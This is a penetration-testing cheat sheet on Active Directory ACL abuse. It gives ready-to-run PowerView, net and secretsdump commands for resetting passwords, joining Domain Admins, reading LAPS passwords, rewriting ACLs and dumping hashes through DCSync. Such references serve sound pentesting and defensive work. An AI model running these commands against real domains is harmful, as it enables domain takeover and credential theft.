ACL Abuse
Active Directory objects are protected by Access Control Lists (ACLs). Misconfigured permissions can allow low-privileged users to modify high-privileged objects, leading to domain compromise.
Common Dangerous Rights
Object Control
- GenericAll - Full control over the object.
- GenericWrite - Write access to all properties.
- WriteOwner - Ability to change the object's owner.
- WriteDACL - Ability to modify the object's ACL.
Specific Actions
- ForceChangePassword - Reset user password without knowing current one.
- AddMember - Add members to a group.
- Self (Membership) - Add self to a group.
- DCSync - Replicate directory changes (dump hashes).
Exploitation Techniques
ACL-based attacks exploit excessive permissions on AD objects. Tools like BloodHound are essential for identifying these paths.
GenericAll on User
Full control allows you to reset passwords, set SPNs for Kerberoasting, or modify other attributes.
Reset password:
net user targetuser NewPassword123! /domainOr using PowerView:
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force)GenericAll on Group
Allows adding members to the group.
Add yourself to the group:
Add-DomainGroupMember -Identity "Domain Admins" -Members "youruser"Or using net commands:
net group "Domain Admins" youruser /add /domainGenericAll on Computer
Allows performing RBCD attacks (see Delegation section) or reading LAPS passwords if available.
Read LAPS password:
Get-DomainComputer TARGET -Properties ms-mcs-admpwd | Select-Object ms-mcs-admpwdGenericWrite
Allows modifying attributes. A common attack is to set an SPN on a user to make them vulnerable to Kerberoasting.
Set SPN for Kerberoasting:
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}WriteDACL
Allows modifying the object's ACL. You can grant yourself full control (GenericAll).
Grant yourself GenericAll:
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity youruser -Rights AllWriteOwner
Allows taking ownership of the object. Once you are the owner, you can modify the ACL to grant yourself full control.
Take ownership:
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity youruserDCSync Rights
If you have "Replicating Directory Changes" and "Replicating Directory Changes All" rights on the domain object, you can perform a DCSync attack to dump hashes.
Dump hashes via DCSync:
secretsdump.py corp.local/youruser:password@DC_IP